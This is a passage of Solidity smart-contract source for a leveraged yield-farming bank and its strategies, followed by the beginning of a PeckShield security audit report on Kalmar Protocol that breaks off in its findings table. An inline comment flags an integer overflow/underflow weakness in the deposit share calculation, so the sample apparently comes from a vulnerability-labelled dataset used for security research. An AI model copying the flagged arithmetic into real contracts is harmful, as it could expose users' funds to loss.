Bank. function work(uint256 id, address user, uint256 debt, bytes calldata data) external payable; /// @dev Re-invest whatever the goblin is working on. function reinvest() external; /// @dev Return the amount of ETH wei to get back if we are to liquidate the position. function health(uint256 id) external view returns (uint256); /// @dev Liquidate the given position to ETH. Send all ETH back to Bank. function liquidate(uint256 id) external; } pragma solidity 0.5.16; interface BankConfig { /// @dev Return minimum ETH debt size per position. function minDebtSize() external view returns (uint256); /// @dev Return the interest rate per second, using 1e18 as denom. function getInterestRate(uint256 debt, uint256 floating) external view returns (uint256); /// @dev Return the bps rate for reserve pool. function getReservePoolBps() external view returns (uint256); /// @dev Return the bps rate for Avada Kill caster. function getKillBps() external view returns (uint256); /// @dev Return whether the given address is a goblin. function isGoblin(address goblin) external view returns (bool); /// @dev Return whether the given goblin accepts more debt. Revert on non-goblin. function acceptDebt(address goblin) external view returns (bool); /// @dev Return the work factor for the goblin + ETH debt, using 1e4 as denom. Revert on non-goblin. function workFactor(address goblin, uint256 debt) external view returns (uint256); /// @dev Return the kill factor for the goblin + ETH debt, using 1e4 as denom. Revert on non-goblin. function killFactor(address goblin, uint256 debt) external view returns (uint256); } pragma solidity 0.5.16; import 'openzeppelin-solidity-2.3.0/contracts/ownership/Ownable.sol'; import 'openzeppelin-solidity-2.3.0/contracts/utils/ReentrancyGuard.sol'; import 'openzeppelin-solidity-2.3.0/contracts/math/SafeMath.sol'; import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol'; import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol'; import './uniswap/IUniswapV2Router02.sol'; import './SafeToken.sol'; import './Strategy.sol'; contract StrategyWithdrawMinimizeTrading is Ownable, ReentrancyGuard, Strategy { using SafeToken for address; using SafeMath for uint256; IUniswapV2Factory public factory; IUniswapV2Router02 public router; address public weth; /// @dev Create a new withdraw minimize trading strategy instance. /// @param _router The Uniswap router smart contract. constructor(IUniswapV2Router02 _router) public { factory = IUniswapV2Factory(_router.factory()); router = _router; weth = _router.WETH(); } /// @dev Execute worker strategy. Take LP tokens + ETH. Return LP tokens + ETH. /// @param user User address to withdraw liquidity. /// @param debt Debt amount in WAD of the user. /// @param data Extra calldata information passed along to this strategy. function execute(address user, uint256 debt, bytes calldata data) external payable nonReentrant { // 1. Find out what farming token we are dealing with. (address fToken, uint256 minFToken) = abi.decode(data, (address, uint256)); IUniswapV2Pair lpToken = IUniswapV2Pair(factory.getPair(fToken, weth)); // 2. Remove all liquidity back to ETH and farming tokens. lpToken.approve(address(router), uint256(-1)); router.removeLiquidityETH(fToken, lpToken.balanceOf(address(this)), 0, 0, address(this), now); // 3. Convert farming tokens to ETH. address[] memory path = new address[](2); path[0] = fToken; path[1] = weth; fToken.safeApprove(address(router), 0); fToken.safeApprove(address(router), uint256(-1)); uint256 balance = address(this).balance; if (debt > balance) { // Convert some farming tokens to ETH. uint256 remainingDebt = debt.sub(balance); router.swapTokensForExactETH(remainingDebt, fToken.myBalance(), path, address(this), now); } // 4. Return ETH back to the original caller. uint256 remainingBalance = address(this).balance; SafeToken.safeTransferETH(msg.sender, remainingBalance); // 5. Return remaining farming tokens to user. uint256 remainingFToken = fToken.myBalance(); require(remainingFToken >= minFToken, 'insufficient farming tokens received'); if (remainingFToken > 0) { fToken.safeTransfer(user, remainingFToken); } } /// @dev Recover ERC20 tokens that were accidentally sent to this smart contract. /// @param token The token contract. Can be anything. This contract should not hold ERC20 tokens. /// @param to The address to send the tokens to. /// @param value The number of tokens to transfer to `to`. function recover(address token, address to, uint256 value) external onlyOwner nonReentrant { token.safeTransfer(to, value); } function() external payable {} } pragma solidity 0.5.16; interface GoblinConfig { /// @dev Return whether the given goblin accepts more debt. function acceptDebt(address goblin) external view returns (bool); /// @dev Return the work factor for the goblin + ETH debt, using 1e4 as denom. function workFactor(address goblin, uint256 debt) external view returns (uint256); /// @dev Return the kill factor for the goblin + ETH debt, using 1e4 as denom. function killFactor(address goblin, uint256 debt) external view returns (uint256); } pragma solidity 0.5.16; import "openzeppelin-solidity-2.3.0/contracts/ownership/Ownable.sol"; import "./PriceOracle.sol"; contract SimplePriceOracle is Ownable, PriceOracle { event PriceUpdate(address indexed token0, address indexed token1, uint256 price); struct PriceData { uint192 price; uint64 lastUpdate; } /// @notice Public price data mapping storage. mapping (address => mapping (address => PriceData)) public store; /// @dev Set the prices of the token token pairs. Must be called by the owner. function setPrices( address[] calldata token0s, address[] calldata token1s, uint256[] calldata prices ) external onlyOwner { uint256 len = token0s.length; require(token1s.length == len, "bad token1s length"); require(prices.length == len, "bad prices length"); for (uint256 idx = 0; idx < len; idx++) { address token0 = token0s[idx]; address token1 = token1s[idx]; uint256 price = prices[idx]; store[token0][token1] = PriceData({ price: uint192(price), lastUpdate: uint64(now) }); emit PriceUpdate(token0, token1, price); } } /// @dev Return the wad price of token0/token1, multiplied by 1e18 /// NOTE: (if you have 1 token0 how much you can sell it for token1) function getPrice(address token0, address token1) external view returns (uint256 price, uint256 lastUpdate) { PriceData memory data = store[token0][token1]; price = uint256(data.price); lastUpdate = uint256(data.lastUpdate); require(price != 0 && lastUpdate != 0, "bad price data"); return (price, lastUpdate); } } pragma solidity 0.5.16; import "openzeppelin-solidity-2.3.0/contracts/ownership/Ownable.sol"; import "openzeppelin-solidity-2.3.0/contracts/token/ERC20/ERC20.sol"; import "openzeppelin-solidity-2.3.0/contracts/math/SafeMath.sol"; import "openzeppelin-solidity-2.3.0/contracts/math/Math.sol"; import "openzeppelin-solidity-2.3.0/contracts/utils/ReentrancyGuard.sol"; import "./BankConfig.sol"; import "./Goblin.sol"; import "./SafeToken.sol"; contract Bank is ERC20, ReentrancyGuard, Ownable { /// @notice Libraries using SafeToken for address; using SafeMath for uint256; /// @notice Events event AddDebt(uint256 indexed id, uint256 debtShare); event RemoveDebt(uint256 indexed id, uint256 debtShare); event Work(uint256 indexed id, uint256 loan); event Kill(uint256 indexed id, address indexed killer, uint256 prize, uint256 left); string public name = "Interest Bearing BNB"; string public symbol = "iBNB"; uint8 public decimals = 18; struct Position { address goblin; address owner; uint256 debtShare; } BankConfig public config; mapping (uint256 => Position) public positions; uint256 public nextPositionID = 1; uint256 public glbDebtShare; uint256 public glbDebtVal; uint256 public lastAccrueTime; uint256 public reservePool; /// @dev Require that the caller must be an EOA account to avoid flash loans. modifier onlyEOA() { require(msg.sender == tx.origin, "not eoa"); _; } /// @dev Add more debt to the global debt pool. modifier accrue(uint256 msgValue) { if (now > lastAccrueTime) { uint256 interest = pendingInterest(msgValue); uint256 toReserve = interest.mul(config.getReservePoolBps()).div(10000); reservePool = reservePool.add(toReserve); glbDebtVal = glbDebtVal.add(interest); lastAccrueTime = now; } _; } constructor(BankConfig _config) public { config = _config; lastAccrueTime = now; } /// @dev Return the pending interest that will be accrued in the next call. /// @param msgValue Balance value to subtract off address(this).balance when called from payable functions. function pendingInterest(uint256 msgValue) public view returns (uint256) { if (now > lastAccrueTime) { uint256 timePast = now.sub(lastAccrueTime); uint256 balance = address(this).balance.sub(msgValue); uint256 ratePerSec = config.getInterestRate(glbDebtVal, balance); return ratePerSec.mul(glbDebtVal).mul(timePast).div(1e18); } else { return 0; } } /// @dev Return the ETH debt value given the debt share. Be careful of unaccrued interests. /// @param debtShare The debt share to be converted. function debtShareToVal(uint256 debtShare) public view returns (uint256) { if (glbDebtShare == 0) return debtShare; // When there's no share, 1 share = 1 val. return debtShare.mul(glbDebtVal).div(glbDebtShare); } /// @dev Return the debt share for the given debt value. Be careful of unaccrued interests. /// @param debtVal The debt value to be converted. function debtValToShare(uint256 debtVal) public view returns (uint256) { if (glbDebtShare == 0) return debtVal; // When there's no share, 1 share = 1 val. return debtVal.mul(glbDebtShare).div(glbDebtVal); } /// @dev Return ETH value and debt of the given position. Be careful of unaccrued interests. /// @param id The position ID to query. function positionInfo(uint256 id) public view returns (uint256, uint256) { Position storage pos = positions[id]; return (Goblin(pos.goblin).health(id), debtShareToVal(pos.debtShare)); } /// @dev Return the total ETH entitled to the token holders. Be careful of unaccrued interests. function totalETH() public view returns (uint256) { return address(this).balance.add(glbDebtVal).sub(reservePool); } /// @dev Add more ETH to the bank. Hope to get some good returns. function deposit() external payable accrue(msg.value) nonReentrant { uint256 total = totalETH().sub(msg.value); //SWC-Integer Overflow and Underflow: L107 uint256 share = total == 0 ? msg.value : msg.value.mul(totalSupply()).div(total); _mint(msg.sender, share); } /// @dev Withdraw ETH from the bank by burning the share tokens. function withdraw(uint256 share) external accrue(0) nonReentrant { uint256 amount = share.mul(totalETH()).div(totalSupply()); _burn(msg.sender, share); SafeToken.safeTransferETH(msg.sender, amount); } /// @dev Create a new farming position to unlock your yield farming potential. /// @param id The ID of the position to unlock the earning. Use ZERO for new position. /// @param goblin The address of the authorized goblin to work for this position. /// @param loan The amount of ETH to borrow from the pool. /// @param maxReturn The max amount of ETH to return to the pool. /// @param data The calldata to pass along to the goblin for more working context. function work(uint256 id, address goblin, uint256 loan, uint256 maxReturn, bytes calldata data) external payable onlyEOA accrue(msg.value) nonReentrant { // 1. Sanity check the input position, or add a new position of ID is 0. if (id == 0) { id = nextPositionID++; positions[id].goblin = goblin; positions[id].owner = msg.sender; } else { require(id < nextPositionID, "bad position id"); require(positions[id].goblin == goblin, "bad position goblin"); require(positions[id].owner == msg.sender, "not position owner"); } emit Work(id, loan); // 2. Make sure the goblin can accept more debt and remove the existing debt. require(config.isGoblin(goblin), "not a goblin"); require(loan == 0 || config.acceptDebt(goblin), "goblin not accept more debt"); uint256 debt = _removeDebt(id).add(loan); // 3. Perform the actual work, using a new scope to avoid stack-too-deep errors. uint256 back; { uint256 sendETH = msg.value.add(loan); require(sendETH <= address(this).balance, "insufficient ETH in the bank"); uint256 beforeETH = address(this).balance.sub(sendETH); Goblin(goblin).work.value(sendETH)(id, msg.sender, debt, data); back = address(this).balance.sub(beforeETH); } // 4. Check and update position debt. uint256 lessDebt = Math.min(debt, Math.min(back, maxReturn)); debt = debt.sub(lessDebt); if (debt > 0) { require(debt >= config.minDebtSize(), "too small debt size"); uint256 health = Goblin(goblin).health(id); uint256 workFactor = config.workFactor(goblin, debt); require(health.mul(workFactor) >= debt.mul(10000), "bad work factor"); _addDebt(id, debt); } // 5. Return excess ETH back. if (back > lessDebt) SafeToken.safeTransferETH(msg.sender, back - lessDebt); } /// @dev Kill the given to the position. Liquidate it immediately if killFactor condition is met. /// @param id The position ID to be killed. function kill(uint256 id) external onlyEOA accrue(0) nonReentrant { // 1. Verify that the position is eligible for liquidation. Position storage pos = positions[id]; require(pos.debtShare > 0, "no debt"); uint256 debt = _removeDebt(id); uint256 health = Goblin(pos.goblin).health(id); uint256 killFactor = config.killFactor(pos.goblin, debt); require(health.mul(killFactor) < debt.mul(10000), "can't liquidate"); // 2. Perform liquidation and compute the amount of ETH received. uint256 beforeETH = address(this).balance; Goblin(pos.goblin).liquidate(id); uint256 back = address(this).balance.sub(beforeETH); uint256 prize = back.mul(config.getKillBps()).div(10000); uint256 rest = back.sub(prize); // 3. Clear position debt and return funds to liquidator and position owner. if (prize > 0) SafeToken.safeTransferETH(msg.sender, prize); uint256 left = rest > debt ? rest - debt : 0; if (left > 0) SafeToken.safeTransferETH(pos.owner, left); emit Kill(id, msg.sender, prize, left); } /// @dev Internal function to add the given debt value to the given position. function _addDebt(uint256 id, uint256 debtVal) internal { Position storage pos = positions[id]; uint256 debtShare = debtValToShare(debtVal); pos.debtShare = pos.debtShare.add(debtShare); glbDebtShare = glbDebtShare.add(debtShare); glbDebtVal = glbDebtVal.add(debtVal); emit AddDebt(id, debtShare); } /// @dev Internal function to clear the debt of the given position. Return the debt value. function _removeDebt(uint256 id) internal returns (uint256) { Position storage pos = positions[id]; uint256 debtShare = pos.debtShare; if (debtShare > 0) { uint256 debtVal = debtShareToVal(debtShare); pos.debtShare = 0; glbDebtShare = glbDebtShare.sub(debtShare); glbDebtVal = glbDebtVal.sub(debtVal); emit RemoveDebt(id, debtShare); return debtVal; } else { return 0; } } /// @dev Update bank configuration to a new address. Must only be called by owner. /// @param _config The new configurator address. function updateConfig(BankConfig _config) external onlyOwner { config = _config; } /// @dev Withdraw ETH reserve for underwater positions to the given address. /// @param to The address to transfer ETH to. /// @param value The number of ETH tokens to withdraw. Must not exceed `reservePool`. function withdrawReserve(address to, uint256 value) external onlyOwner nonReentrant { reservePool = reservePool.sub(value); SafeToken.safeTransferETH(to, value); } /// @dev Reduce ETH reserve, effectively giving them to the depositors. /// @param value The number of ETH reserve to reduce. function reduceReserve(uint256 value) external onlyOwner { reservePool = reservePool.sub(value); } /// @dev Recover ERC20 tokens that were accidentally sent to this smart contract. /// @param token The token contract. Can be anything. This contract should not hold ERC20 tokens. /// @param to The address to send the tokens to. /// @param value The number of tokens to transfer to `to`. function recover(address token, address to, uint256 value) external onlyOwner nonReentrant { token.safeTransfer(to, value); } /// @dev Fallback function to accept ETH. Goblins will send ETH back the pool. function() external payable {} } pragma solidity 0.5.16; import "openzeppelin-solidity-2.3.0/contracts/ownership/Ownable.sol"; import "openzeppelin-solidity-2.3.0/contracts/utils/ReentrancyGuard.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; import "./uniswap/IUniswapV2Router02.sol"; import "./SafeToken.sol"; import "./Strategy.sol"; contract StrategyLiquidate is Ownable, ReentrancyGuard, Strategy { using SafeToken for address; IUniswapV2Factory public factory; IUniswapV2Router02 public router; address public weth; /// @dev Create a new liquidate strategy instance. /// @param _router The Uniswap router smart contract. constructor(IUniswapV2Router02 _router) public { factory = IUniswapV2Factory(_router.factory()); router = _router; weth = _router.WETH(); } /// @dev Execute worker strategy. Take LP tokens + ETH. Return LP tokens + ETH. /// @param data Extra calldata information passed along to this strategy. function execute(address /* user */, uint256 /* debt */, bytes calldata data) external payable nonReentrant { // 1. Find out what farming token we are dealing with. (address fToken, uint256 minETH) = abi.decode(data, (address, uint256)); IUniswapV2Pair lpToken = IUniswapV2Pair(factory.getPair(fToken, weth)); // 2. Remove all liquidity back to ETH and farming tokens. lpToken.approve(address(router), uint256(-1)); router.removeLiquidityETH(fToken, lpToken.balanceOf(address(this)), 0, 0, address(this), now); // 3. Convert farming tokens to ETH. address[] memory path = new address[](2); path[0] = fToken; path[1] = weth; fToken.safeApprove(address(router), 0); fToken.safeApprove(address(router), uint256(-1)); router.swapExactTokensForETH(fToken.myBalance(), 0, path, address(this), now); // 4. Return all ETH back to the original caller. uint256 balance = address(this).balance; require(balance >= minETH, "insufficient ETH received"); SafeToken.safeTransferETH(msg.sender, balance); } /// @dev Recover ERC20 tokens that were accidentally sent to this smart contract. /// @param token The token contract. Can be anything. This contract should not hold ERC20 tokens. /// @param to The address to send the tokens to. /// @param value The number of tokens to transfer to `to`. function recover(address token, address to, uint256 value) external onlyOwner nonReentrant { token.safeTransfer(to, value); } function() external payable {} } pragma solidity 0.5.16; import "openzeppelin-solidity-2.3.0/contracts/ownership/Ownable.sol"; import "openzeppelin-solidity-2.3.0/contracts/math/SafeMath.sol"; import "openzeppelin-solidity-2.3.0/contracts/utils/ReentrancyGuard.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; import "@uniswap/v2-core/contracts/libraries/Math.sol"; import "./uniswap/IUniswapV2Router02.sol"; import "./SafeToken.sol"; import "./Strategy.sol"; contract StrategyAllETHOnly is Ownable, ReentrancyGuard, Strategy { using SafeToken for address; using SafeMath for uint256; IUniswapV2Factory public factory; IUniswapV2Router02 public router; address public weth; /// @dev Create a new add ETH only strategy instance. /// @param _router The Uniswap router smart contract. constructor(IUniswapV2Router02 _router) public { factory = IUniswapV2Factory(_router.factory()); router = _router; weth = _router.WETH(); } /// @dev Execute worker strategy. Take LP tokens + ETH. Return LP tokens + ETH. /// @param data Extra calldata information passed along to this strategy. function execute(address /* user */, uint256 /* debt */, bytes calldata data) external payable nonReentrant { // 1. Find out what farming token we are dealing with and min additional LP tokens. (address fToken, uint256 minLPAmount) = abi.decode(data, (address, uint256)); IUniswapV2Pair lpToken = IUniswapV2Pair(factory.getPair(fToken, weth)); // 2. Compute the optimal amount of ETH to be converted to farming tokens. uint256 balance = address(this).balance; (uint256 r0, uint256 r1, ) = lpToken.getReserves(); uint256 rIn = lpToken.token0() == weth ? r0 : r1; uint256 aIn = Math.sqrt(rIn.mul(balance.mul(3988000).add(rIn.mul(3988009)))).sub(rIn.mul(1997)) / 1994; // 3. Convert that portion of ETH to farming tokens. address[] memory path = new address[](2); path[0] = weth; path[1] = fToken; router.swapExactETHForTokens.value(aIn)(0, path, address(this), now); // 4. Mint more LP tokens and return all LP tokens to the sender. fToken.safeApprove(address(router), 0); fToken.safeApprove(address(router), uint(-1)); (,, uint256 moreLPAmount) = router.addLiquidityETH.value(address(this).balance)( fToken, fToken.myBalance(), 0, 0, address(this), now ); require(moreLPAmount >= minLPAmount, "insufficient LP tokens received"); lpToken.transfer(msg.sender, lpToken.balanceOf(address(this))); } /// @dev Recover ERC20 tokens that were accidentally sent to this smart contract. /// @param token The token contract. Can be anything. This contract should not hold ERC20 tokens. /// @param to The address to send the tokens to. /// @param value The number of tokens to transfer to `to`. function recover(address token, address to, uint256 value) external onlyOwner nonReentrant { token.safeTransfer(to, value); } function() external payable {} } pragma solidity 0.5.16; import "openzeppelin-solidity-2.3.0/contracts/ownership/Ownable.sol"; import "openzeppelin-solidity-2.3.0/contracts/math/SafeMath.sol"; import "./BankConfig.sol"; import "./GoblinConfig.sol"; interface InterestModel { /// @dev Return the interest rate per second, using 1e18 as denom. function getInterestRate(uint256 debt, uint256 floating) external view returns (uint256); } contract TripleSlopeModel { using SafeMath for uint256; /// @dev Return the interest rate per second, using 1e18 as denom. function getInterestRate(uint256 debt, uint256 floating) external pure returns (uint256) { uint256 total = debt.add(floating); uint256 utilization = debt.mul(10000).div(total); if (utilization < 5000) { // Less than 50% utilization - 10% APY return uint256(10e16) / 365 days; } else if (utilization < 9500) { // Between 50% and 95% - 10%-25% APY return (10e16 + utilization.sub(5000).mul(15e16).div(10000)) / 365 days; } else if (utilization < 10000) { // Between 95% and 100% - 25%-100% APY return (25e16 + utilization.sub(7500).mul(75e16).div(10000)) / 365 days; } else { // Not possible, but just in case - 100% APY return uint256(100e16) / 365 days; } } } contract ConfigurableInterestBankConfig is BankConfig, Ownable { /// The minimum ETH debt size per position. uint256 public minDebtSize; /// The portion of interests allocated to the reserve pool. uint256 public getReservePoolBps; /// The reward for successfully killing a position. uint256 public getKillBps; /// Mapping for goblin address to its configuration. mapping (address => GoblinConfig) public goblins; /// Interest rate model InterestModel public interestModel; constructor( uint256 _minDebtSize, uint256 _reservePoolBps, uint256 _killBps, InterestModel _interestModel ) public { setParams(_minDebtSize, _reservePoolBps, _killBps, _interestModel); } /// @dev Set all the basic parameters. Must only be called by the owner. /// @param _minDebtSize The new minimum debt size value. /// @param _reservePoolBps The new interests allocated to the reserve pool value. /// @param _killBps The new reward for killing a position value. /// @param _interestModel The new interest rate model contract. function setParams( uint256 _minDebtSize, uint256 _reservePoolBps, uint256 _killBps, InterestModel _interestModel ) public onlyOwner { minDebtSize = _minDebtSize; getReservePoolBps = _reservePoolBps; getKillBps = _killBps; interestModel = _interestModel; } /// @dev Set the configuration for the given goblins. Must only be called by the owner. function setGoblins(address[] calldata addrs, GoblinConfig[] calldata configs) external onlyOwner { require(addrs.length == configs.length, "bad length"); for (uint256 idx = 0; idx < addrs.length; idx++) { goblins[addrs[idx]] = configs[idx]; } } /// @dev Return the interest rate per second, using 1e18 as denom. function getInterestRate(uint256 debt, uint256 floating) external view returns (uint256) { return interestModel.getInterestRate(debt, floating); } /// @dev Return whether the given address is a goblin. function isGoblin(address goblin) external view returns (bool) { return address(goblins[goblin]) != address(0); } /// @dev Return whether the given goblin accepts more debt. Revert on non-goblin. function acceptDebt(address goblin) external view returns (bool) { return goblins[goblin].acceptDebt(goblin); } /// @dev Return the work factor for the goblin + ETH debt, using 1e4 as denom. Revert on non-goblin. function workFactor(address goblin, uint256 debt) external view returns (uint256) { return goblins[goblin].workFactor(goblin, debt); } /// @dev Return the kill factor for the goblin + ETH debt, using 1e4 as denom. Revert on non-goblin. function killFactor(address goblin, uint256 debt) external view returns (uint256) { return goblins[goblin].killFactor(goblin, debt); } }
Public SMART CONTRACT AUDIT REPORT for KALMAR PROTOCOL Prepared By: Yiqun Chen PeckShield August 20, 2021 1/25 PeckShield Audit Report #: 2021-229Public Document Properties Client Kalmar Protocol Title Smart Contract Audit Report Target Kalmar Protocol Version 1.0 Author Xuxian Jiang Auditors Xuxian Jiang, Jing Wang Reviewed by Yiqun Chen Approved by Xuxian Jiang Classification Public Version Info Version Date Author(s) Description 1.0 August 20, 2021 Xuxian Jiang Final Release 1.0-rc August 7, 2021 Xuxian Jiang Release Candidate Contact For more information about this document and its contents, please contact PeckShield Inc. Name Yiqun Chen Phone +86 183 5897 7782 Email contact@peckshield.com 2/25 PeckShield Audit Report #: 2021-229Public Contents 1 Introduction 4 1.1 About Kalmar Protocol . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 1.2 About PeckShield . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.3 Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.4 Disclaimer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 2 Findings 10 2.1 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 2.2 Key Findings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 3 Detailed Results 12 3.1 Possible Costly LPs From Improper Bank Initialization . . . . . . . . . . . . . . . . . 12 3.2 Trading Fee Discrepancy Between Kalmar And PancakeSwap . . . . . . . . . . . . . 13 3.3 No payable in All Four Strategies . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 3.4 Inconsistency Between Document and Implementation . . . . . . . . . . . . . . . . . 16 3.5 Trust Issue of Admin Keys . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18 3.6 Potential Sandwich Attacks For Reduced Returns . . . . . . . . . . . . . . . . . . . 20 3.7 Improved Precision By Multiplication And Division Reordering . . . . . . . . . . . . . 21 4 Conclusion 23 References 24 3/25 PeckShield Audit Report #: 2021-229Public 1 | Introduction Given the opportunity to review the design document and related source code of the the Kalmar protocol, we outline in the report our systematic approach to evaluate potential security issues in the smart contract implementation, expose possible semantic inconsistencies between smart contract code and design document, and provide additional suggestions or recommendations for improvement. Ourresultsshowthatthegivenversionofsmartcontractscanbefurtherimprovedduetothepresence of several issues related to either security or performance. This document outlines our audit results. 1.1 About Kalmar Protocol Kalmaris a decentralized bank powered by DeFi and NFT. The protocol uses secure financial in- struments and advanced gamification models to make banking engaging, transparent and accessible. The audited leverage-yield-contracts /leverage-yield-contracts-busd are designed as an evolutional improvement of Alpha, which is a leveraged yield farming and leveraged liquidity providing protocol launched on the Ethereum. The audited implementation makes improvements, including the direct integration of mining support at the protocol level as well as the customizability of base tokens (instead of native tokens). The basic information of the Kalmarprotocol is as follows: Table 1.1: Basic Information of Kalmar Protocol ItemDescription IssuerKalmar Protocol Website https://kalmar.io/ TypeEthereum Smart Contract Platform Solidity Audit Method Whitebox Latest Audit Report August 20, 2021 In the following, we show the Git repositories of reviewed files and the commit hash values used 4/25 PeckShield Audit Report #: 2021-229Public in this audit: •https://github.com/kalmar-io/leverage-yield-contracts.git (ad08aef) •https://github.com/kalmar-io/leverage-yield-contracts-busd.git (1fd562e) And here are the commit IDs after all fixes for the issues found in the audit have been checked in: •https://github.com/kalmar-io/leverage-yield-contracts.git (a0f5299) •https://github.com/kalmar-io/leverage-yield-contracts-busd.git (5436dda) 1.2 About PeckShield PeckShield Inc. [16] is a leading blockchain security company with the goal of elevating the secu- rity, privacy, and usability of current blockchain ecosystems by offering top-notch, industry-leading servicesandproducts(includingtheserviceofsmartcontractauditing). WearereachableatTelegram (https://t.me/peckshield),Twitter( http://twitter.com/peckshield),orEmail( contact@peckshield.com). Table 1.2: Vulnerability Severity ClassificationImpactHigh Critical High Medium Medium High Medium Low Low Medium Low Low High Medium Low Likelihood 1.3 Methodology To standardize the evaluation, we define the following terminology based on OWASP Risk Rating Methodology [15]: •Likelihood represents how likely a particular vulnerability is to be uncovered and exploited in the wild; 5/25 PeckShield Audit Report #: 2021-229Public •Impact measures the technical loss and business damage of a successful attack; •Severity demonstrates the overall criticality of the risk. Likelihood and impact are categorized into three ratings: H,MandL, i.e., high,mediumand lowrespectively. Severity is determined by likelihood and impact and can be classified into four categories accordingly, i.e., Critical,High,Medium,Lowshown in Table 1.2. To evaluate the risk, we go through a list of check items and each would be labeled with a severity category. For one check item, if our tool or analysis does not identify any issue, the contract is considered safe regarding the check item. For any discovered issue, we might further deploy contracts on our private testnet and run tests to confirm the findings. If necessary, we would additionally build a PoC to demonstrate the possibility of exploitation. The concrete list of check items is shown in Table 1.3. In particular, we perform the audit according to the following procedure: •BasicCodingBugs: We first statically analyze given smart contracts with our proprietary static code analyzer for known coding bugs, and then manually verify (reject or confirm) all the issues found by our tool. •Semantic Consistency Checks: We then manually check the logic of implemented smart con- tracts and compare with the description in the white paper. •Advanced DeFiScrutiny: We further review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. •Additional Recommendations: We also provide additional suggestions regarding the coding and development of smart contracts from the perspective of proven programming practices. To better describe each issue we identified, we categorize the findings with Common Weakness Enumeration (CWE-699) [14], which is a community-developed list of software weakness types to better delineate and organize weaknesses around concepts frequently encountered in software devel- opment. Though some categories used in CWE-699 may not be relevant in smart contracts, we use the CWE categories in Table 1.4 to classify our findings. 1.4 Disclaimer Note that this security audit is not designed to replace functional tests required before any software release, and does not give any warranties on finding all possible security issues of the given smart contract(s) or blockchain software, i.e., the evaluation result does not guarantee the nonexistence of any further findings of security issues. As one audit-based assessment cannot be considered 6/25 PeckShield Audit Report #: 2021-229Public Table 1.3: The Full List of Check Items Category Check Item Basic Coding BugsConstructor Mismatch Ownership Takeover Redundant Fallback Function Overflows & Underflows Reentrancy Money-Giving Bug Blackhole Unauthorized Self-Destruct Revert DoS Unchecked External Call Gasless Send Send Instead Of Transfer Costly Loop (Unsafe) Use Of Untrusted Libraries (Unsafe) Use Of Predictable Variables Transaction Ordering Dependence Deprecated Uses Semantic Consistency Checks Semantic Consistency Checks Advanced DeFi ScrutinyBusiness Logics Review Functionality Checks Authentication Management Access Control & Authorization Oracle Security Digital Asset Escrow Kill-Switch Mechanism Operation Trails & Event Generation ERC20 Idiosyncrasies Handling Frontend-Contract Integration Deployment Consistency Holistic Risk Management Additional RecommendationsAvoiding Use of Variadic Byte Array Using Fixed Compiler Version Making Visibility Level Explicit Making Type Inference Explicit Adhering To Function Declaration Strictly Following Other Best Practices 7/25 PeckShield Audit Report #: 2021-229Public Table 1.4: Common Weakness Enumeration (CWE) Classifications Used in This Audit Category Summary Configuration Weaknesses in this category are typically introduced during the configuration of the software. Data Processing Issues Weaknesses in this category are typically found in functional- ity that processes data. Numeric Errors Weaknesses in this category are related to improper calcula- tion or conversion of numbers. Security Features Weaknesses in this category are concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management. (Software security is not security software.) Time and State Weaknesses in this category are related to the improper man- agement of time and state in an environment that supports simultaneous or near-simultaneous computation by multiple systems, processes, or threads. Error Conditions, Return Values, Status CodesWeaknesses in this category include weaknesses that occur if a function does not generate the correct return/status code, or if the application does not handle all possible return/status codes that could be generated by a function. Resource Management Weaknesses in this category are related to improper manage- ment of system resources. Behavioral Issues Weaknesses in this category are related to unexpected behav- iors from code that an application uses. Business Logics Weaknesses in this category identify some of the underlying problems that commonly allow attackers to manipulate the business logic of an application. Errors in business logic can be devastating to an entire application. Initialization and Cleanup Weaknesses in this category occur in behaviors that are used for initialization and breakdown. Arguments and Parameters Weaknesses in this category are related to improper use of arguments or parameters within function calls. Expression Issues Weaknesses in this category are related to incorrectly written expressions within code. Coding Practices Weaknesses in this category are related to coding practices that are deemed unsafe and increase the chances that an ex- ploitable vulnerability will be present in the application. They may not directly introduce a vulnerability, but indicate the product has not been carefully developed or maintained. 8/25 PeckShield Audit Report #: 2021-229Public comprehensive, we always recommend proceeding with several independent audits and a public bug bounty program to ensure the security of smart contract(s). Last but not least, this security audit should not be used as investment advice. 9/25 PeckShield Audit Report #: 2021-229Public 2 | Findings 2.1 Summary Here is a summary of our findings after analyzing the implementation of the Kalmarprotocol. During the first phase of our audit, we study the smart contract source code and run our in-house static code analyzer through the codebase. The purpose here is to statically identify known coding bugs, and then manually verify (reject or confirm) issues reported by our tool. We further manually review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. Severity # of Findings Critical 0 High 0 Medium 3 Low 3 Informational 1 Total 7 We have so far identified a list of potential issues: some of them involve subtle corner cases that might not be previously thought of, while others refer to unusual interactions among multiple contracts. For each uncovered issue, we have therefore developed test cases for reasoning, reproduc- tion, and/or verification. After further analysis and internal discussion, we determined a few issues of varying severities that need to be brought up and paid more attention to, which are categorized in the above table. More information can be found in the next subsection, and the detailed discussions of each of them are in Section 3. 10/25 PeckShield Audit Report #: 2021-229Public 2.2 Key Findings Overall, these smart contracts are well-designed and engineered, though the implementation can be improved by resolving the identified issues (shown in Table 2.1), including 3medium-severity vulnerabilities, 3low-severity vulnerabilities, and 1informational recommendation. Table 2.1: Key Audit Findings of Kalmar Protocol Protocol ID Severity Title Category Status PVE-001 Medium Possible Costly LPs From Improper Vault InitializationTime and State Resolved PVE-002 Medium Trading Fee 